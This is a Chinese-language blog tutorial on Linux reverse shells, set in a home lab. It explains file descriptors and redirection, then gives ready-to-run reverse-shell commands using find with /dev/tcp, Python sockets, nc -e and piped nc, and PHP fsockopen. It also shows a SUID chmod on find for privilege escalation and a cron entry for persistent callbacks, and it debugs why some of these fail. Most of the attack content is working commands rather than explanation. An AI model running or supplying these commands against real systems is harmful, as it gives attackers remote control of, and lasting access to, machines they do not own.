浅谈反弹shell

文章详细介绍了Linux系统中实现反弹shell的几种方法,包括利用find命令、python脚本、nc工具以及php执行命令。同时,文中提到了文件描述符的概念,重定向的用法,以及在不同场景下反弹shell可能遇到的问题和解决策略,如输入输出重定向、错误输出重定向等。
摘要由CSDN通过智能技术生成

反弹shell总结

一、文件描述符

可以理解为linux跟踪打开文件,而分配的一个数字
liunx 默认 有三个文件描述符0,1,2
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
数据流向
注意:一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是其他设备,那我们就需要重定向。

二、重定向

重定向主要分为两种:

(1)输入重定向 < <<
(2)输出重定向 > >>
重点
1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向。

2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果

1、输入重定向

输入重定向就是改变输入的方向,不再使用键盘作为命令输入的来源,而是使用文件作为命令的输入
输入重定向

2、输出重定向

标准输出重定向

>>>
覆盖追加

world > cdx.file 以覆盖的方式,把正确输出结果输出到 cdx.file 文件中
world >> cdx.file 以追加的方式,把正确输出结果输出到 cdx.file 文件中。
输出重定向

3、错误输出重定向

/tmp/errror.txt > /tmp/error.log 2>&1

4、exec 绑定重定向

上面的输入输出重定向将输入和输出绑定以后,只对当前的指令有效。

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.137.138/12345 0>&1 \;

三、实现反弹shell的几种方式

方法一: find 反弹

centos目标机192.168.137.131
kali源机192.168.137.138

kaii 上开启监听

nc -nlvp 12345

centos 用find命令做重定向

#提权
[root@www ~]# chmod u+s /usr/bin/find
#切换用户
[root@www ~]# su tang
#查看权限
[tang@www root]$ ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
[tang@www root]$ find /etc/passwd -exec whoami \;
root
#做反弹shell
[tang@www root]$ find /etc/passwd -exec bash -ip >& 	/dev/tcp/192.168.137.138/12345 0>&1 \;

kail
在这里插入图片描述
centos
在这里插入图片描述
bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。

本地的输入输出流向
在这里插入图片描述
执行bash -i >& /dev/tcp/ip/port后
在这里插入图片描述
执行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:
在这里插入图片描述

ubuntu find反弹shell失败的问题
目标
centosubuntu

centos 上做监听,ubuntu做find 反弹shell
但是在 ubuntu上做find 反弹shell 出现了点问题,失败了!

在这里插入图片描述
显示没有 路由,但是却可以ping 通,这就很不合理
在这里插入图片描述
但是查看路由,却显示有,这就很奇怪
我们查看一下,是不是防火墙的问题
iptables -F 冲刷一下centos的防火墙,再次监听。然后ubuntu find反弹shell(没做测试,没安docker,怕出问题。)
在这里插入图片描述
显然可以成功

任务计划反弹shell失败的问题

/var/spool/cron/crontabs/目录下创建任务计划文件去反弹shell时,发现shell并不能反弹到自己的centos上

任务计划文件

cd /var/spool/cron/crontabs
vim root
内容如下
* * * * * /bin/bash -i >& /dev/tcp/192.168.137.131/12345 0>&1

需要特别注意的一点是这的root文件的权限必须为600,否则会出现cron[53948]: (root) INSECURE MODE (mode 0600 expected)的错误,会影响到后面的实验

在这里插入图片描述
在这里插入图片描述
改完权限后查看日志,发现出现新的问题
CRON[55318]: (CRON) info (No MTA installed, discarding output)

这条错误的意思说/bin/bash没有被找到,通过错误信息还可以明白一件事情,那就是linux里面的cron中command执行的shell环境是/bin/sh

ls -al /bin/sh

可以看到/bin/sh其实是一个软连接文件,在ubuntu中 它指向指向了dash,而我们反弹shell使用的shell环境是bash,所以这一点是反弹出错的根本原因

而之前的centos可以能成功,因为centos中 /bin/sh的指向 bash

方法二:使用python反弹,kali、ubuntu 分别监听

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.137.135/138',12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在这里插入图片描述
kali
在这里插入图片描述
ubuntu
在这里插入图片描述
首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3)
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了

方法三、使用nc反弹shell(未复现)

CentOS6.5安装nc方法如下:

1、下载安装
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
make && make install
2、配置
vim /etc/profile
添加以下内容:
# set  netcat path
export NETCAT_HOME=/usr/local/netcat
export PATH=$PATH:$NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
3、测试
nc -help成功

kali 做监听

nc -nlvp 12345

在CentOS上使用nc去反向连接

nc -e /bin/bash 192.168.137.138 12345

这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程.

注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。

如果nc不支持-e参数的话,可以利用到linux中的管道符

首先在kali上开启监听:
nc -nvlp 12345
nc -nvlp 54321
在CentOS上使用nc去反向链接:
nc 192.168.137.138 12345|/bin/bash|192.168.137.138 54321

这里通过在kali上监听两个端口,然后在使用CentOS进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。
在这里插入图片描述

方法四、使用php反弹shell

1、使用php的exec函数执行方法1反弹shell的命令:
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.137.138/12345");'

在这里插入图片描述
在这里插入图片描述

2、使用php的fsockopen去连接远程:
php -r '$sock=fsockopen("192.168.137.138",12345);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

在这里插入图片描述
在这里插入图片描述

四、nc 命令使用

nc 命令 是 ncat 的软链接。ncat 与 cat 有着相似的作用
nc 常用:

  • 侦听任意端口,以TCP/UDP 方式
  • 端口扫描
  • 传输文件
  • 测速

常用命令:

  • 1 -l
    用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
  • 2-p
    限制数据发送原端口
  • 3 -s
    指定发送数据的源IP地址,适用于多网卡机
  • 4 -u
    指定nc使用UDP协议,默认为TCP
  • 5 -v
    输出交互或出错信息,新手调试时尤为有用
  • 6 -w
    超时秒数,后面跟数字
  • 7 -z
    表示zero,表示扫描时不发送任何数据
  • 8 -n
    表示在建立连接之前不对主机进行dns解析
    常用组合-nlvp
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值